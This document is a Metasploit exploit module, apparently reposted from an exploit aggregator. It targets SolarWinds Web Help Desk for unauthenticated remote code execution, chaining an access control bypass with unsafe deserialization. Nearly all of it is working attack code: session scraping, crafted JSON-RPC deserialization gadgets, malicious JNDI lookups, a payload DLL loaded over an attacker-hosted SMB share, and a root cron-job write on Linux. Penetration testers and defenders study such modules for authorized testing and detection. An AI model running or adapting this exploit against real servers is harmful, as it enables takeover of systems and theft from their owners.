Share
## https://sploitus.com/exploit?id=PACKETSTORM:215578
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::Remote::JndiInjection
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::EXE
      include Msf::Exploit::Retry
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
            'Description' => %q{
              This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
              vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
              server.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Jimi Sebree', # Original finder @ horizon3.ai
              'sfewer-r7' # MSF module (Based on the Nuclei template by horizon3.ai)
            ],
            'References' => [
              # Access control bypass vulnerability
              ['CVE', '2025-40536'],
              # Unsafe deserialization for RCE
              ['CVE', '2025-40551'],
              # Vendor advisory
              ['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
              # Technical analysis from horizon3.ai
              ['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
            ],
            'DisclosureDate' => '2026-01-28',
            'Privileged' => true, # Runs as "NT AUTHORITY\SYSTEM" by default on a Windows install.
            'Platform' => ['win', 'unix', 'linux'],
            'Arch' => [ARCH_X64, ARCH_CMD],
            'Targets' => [
              [
                'WHD 12.8.* on Windows (Native code payload)', {
                  'VersionStart' => '12.8',
                  'Platform' => 'win',
                  'Arch' => ARCH_X64 # Ships as a Java application running in a x64 java.exe process
                }
              ],
              [
                'WHD 12.8.* on Linux (Command payload)', {
                  'VersionStart' => '12.8',
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Payload' => {
                    'BadChars' => '\''
                  },
                  'WfsDelay' => 90 # cron can take ~1 minute
                }
              ],
              [
                'WHD 12.7.* on Windows (Command payload)', {
                  'VersionStart' => '12.7',
                  'GadgetChain' => 'CommonsBeanutils1',
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                }
              ],
              [
                'WHD 12.7.* on Linux (Command payload)', {
                  'VersionStart' => '12.7',
                  'GadgetChain' => 'CommonsBeanutils1', # Tested against Web Help Desk version 12.7.11.1182 (linux)
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 8443,
              'SSL' => true
            },
            'Notes' => {
              # For the 12.8.* target on Windows, the service may crash and restart so we use a stability of
              # CRASH_SERVICE_RESTARTS, but for all the other targets the stability is CRASH_SAFE.
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS] # C:\Program Files\WebHelpDesk\log\whd.log
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/'])
        ])
      end
    
      def check
        session_ctx = step1_initial_session
    
        CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
      rescue Msf::Exploit::Failed => e
        CheckCode::Unknown(e.to_s)
      end
    
      def exploit
        print_status('Step 1 - Initial session...')
    
        session_ctx = step1_initial_session
    
        # Verify the remote target matches the expectations for the Metasploit target's version and platform...
    
        fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']
    
        case target['Platform']
        when 'win'
          fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
        when ['unix', 'linux']
          fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
        else
          fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
        end
    
        session_ctx[:service] = get_target_service(session_ctx)
    
        print_status('Step 2 - Login pref page...')
    
        external_auth_container = step2_login_pref_page(session_ctx)
    
        print_status('Step 3 - Trigger SAML object...')
    
        step3_trigger_saml_object(session_ctx, external_auth_container)
    
        print_status('Step 4 - Create JSON RPC bridge...')
    
        jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)
    
        print_status('Step 5 - Unsafe deserialization...')
    
        get_target_gadgets(session_ctx).each do |gadget|
          print_status("  Executing gadget - #{gadget[:title]}")
    
          step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)
    
          Rex::ThreadSafe.sleep(2)
        end
    
        # block untill we get a session, so we dont tear down the SMB/LDAP service prematurly.
        retry_until_truthy(timeout: datastore['WfsDelay']) do
          !handler_enabled? || session_created?
        end
    
        unless session_ctx[:service].nil?
          session_ctx[:service].cleanup
        end
    
        handler
      ensure
        cleanup_service
      end
    
      class SimpleSMBShareWrapper < ::Msf::Exploit
        include ::Msf::Exploit::Remote::SMB::Server::Share
      end
    
      def get_target_service(session_ctx)
        if target['VersionStart'] == '12.7'
          start_service
          return nil
        end
    
        # For 12.8.* targets on Windows, our gadget will force a native code library (a DLL) to be loaded from a UNC path
        # over SMB. We need to spin up an SMB server with a share to satisfy this. As we already
        # include Msf::Exploit::Remote::JndiInjection we cannot also include Msf::Exploit::Remote::SMB::Server::Share. To
        # overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately.
        return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows
    
        if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
          fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
        end
    
        # NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option.
        print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")
    
        smb_service = SimpleSMBShareWrapper.new
    
        smb_service.datastore['SRVPORT'] = 445
        smb_service.datastore['SRVHOST'] = datastore['SRVHOST']
    
        smb_service.setup
    
        smb_service.file_contents = generate_payload_dll
    
        smb_service.file_name += '.dll'
    
        smb_service.start_service({
          'ServerPort' => 445,
          'ServerHost' => datastore['SRVHOST']
        })
    
        smb_service
      end
    
      def get_target_gadgets(session_ctx)
        gadgets = []
    
        if target['VersionStart'] == '12.7'
          # Tested against Web Help Desk version 12.7.11.1182 running on Linux.
    
          print_status("Malicious JNDI URL: #{jndi_string}")
    
          gadgets.push({
            title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
            json_data: {
              'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar
              'jndiLocation' => jndi_string
            }
          })
        elsif target['VersionStart'] == '12.8'
          # We first need to register the org.sqlite.JDBC driver so we can use it, as it may have not already
          # been registered. By instantiating org.sqlite.JDBC, the classes static initializer will register the driver.
          gadgets.push({
            title: 'Registering the org.sqlite.JDBC driver',
            json_data: {
              'javaClass' => 'org.sqlite.JDBC'
            }
          })
    
          if session_ctx[:platform] == :windows
            print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")
    
            # With the org.sqlite.JDBC driver available, we leverage com.zaxxer.hikari.HikariDataSource to create a sqlite
            # connection. We use a sqlite in-memory database to avoid touching disk, and we leverage the enable_load_extension
            # pragma to allow us to load arbitrary native code extensions. Hikari allows us to execute arbitrary SQL statement
            # when a new database connection is opened. We use this to load a malicious extension that contains a Metasploit
            # native code payload.
            #
            # Tested against Web Help Desk version 12.8.8.2528 running on Windows Server 2022 (NOTE: If you are using
            # the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your
            # own payloads).
            gadgets.push({
              title: 'Loading malicious extension over SMB',
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
                'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
              }
            })
          elsif session_ctx[:platform] == :linux
            # Leveraging a dirty file write viw SQLite to a cronjob has been shown to work against some cron daemons:
            # https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
            # However when testing against an Ubuntu system, I get the syslog error:
            # cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5
            #
            random_name = Rex::Text.rand_text_alpha(8)
    
            gadgets.push({
              title: "Creating file in /etc/cron.d/#{random_name}",
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
                'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
              }
            })
    
            gadgets.push({
              title: "Dirty file write to /etc/cron.d/#{random_name}",
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
                'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
              }
            })
          end
        else
          fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
        end
      end
    
      # By default, Metasploit will use BeanFactory, but we want CommonsBeanutils1. The gadget chain used here is left
      # as a target option so we can add new targets (i.e. specific versions of WHD) with ease.
      def build_ldap_search_response_payload
        build_ldap_search_response_payload_inline(target['GadgetChain'])
      end
    
      def step1_initial_session
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
          'headers' => {
            'x-webobjects-recording' => '1'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m
    
        version = m[1].gsub('_', '.')
    
        vprint_status("Version: #{version}")
    
        m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m
    
        resource_path = Rex::Text.uri_decode(m[1])
    
        # jar:file:////C:/Program%20Files/WebHelpDesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
        # jar:file:///usr/local/webhelpdesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
        platform = if resource_path =~ %r{file:////.:/}
                     :windows
                   else
                     resource_path =~ %r{file:///Applications/} ? :mac : :linux
                   end
    
        vprint_status("Platform: #{platform}")
    
        cookies = res.get_cookies
    
        jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid
    
        vprint_status("JSESSIONID: #{jsessionid}")
    
        xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token
    
        vprint_status("XSRF-TOKEN: #{xsrf_token}")
    
        x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id
    
        vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")
    
        {
          version: version,
          platform: platform,
          jsessionid: jsessionid,
          xsrf_token: xsrf_token,
          x_webobjects_session_id: x_webobjects_session_id
        }
      end
    
      def step2_login_pref_page(session_ctx)
        res = send_request_cgi(
          'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'vars_get' => {
            Rex::Text.rand_text_alpha(8) => '/ajax/',
            'wopage' => 'LoginPref'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)})
    
        fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m
    
        external_auth_container = m[1]
    
        vprint_status("externalAuthContainer: #{external_auth_container}")
    
        external_auth_container
      end
    
      def step3_trigger_saml_object(session_ctx, external_auth_container)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, external_auth_container),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
      end
    
      def step4_create_jsonrpc_bridge(session_ctx)
        res = send_request_cgi(
          'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'vars_get' => {
            Rex::Text.rand_text_alpha(8) => '/ajax/',
            'wopage' => 'LoginPref'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})
    
        fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m
    
        jsonrpc_client = m[1]
    
        vprint_status("JSONRpcClient: #{jsonrpc_client}")
    
        jsonrpc_client
      end
    
      def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
        random_id = rand(1..0xffff)
        random_name = Rex::Text.rand_text_alpha(8)
    
        # whd-core.jar!com.macsdesign.util.MDSApplication.isWhitelisted
        allowlist = [
          'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
          'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
        ]
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => {
            Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
            'id' => random_id,
            'method' => 'wopage.setVariableValueForName',
            'params' => [
              random_name,
              json_data
            ]
          }.to_json
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => {
            Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
            'id' => random_id,
            'method' => 'wopage.variableValueForName',
            'params' => [random_name]
          }.to_json
        )
    
        unless return_early
          fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res
    
          fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
        end
      end
    
    end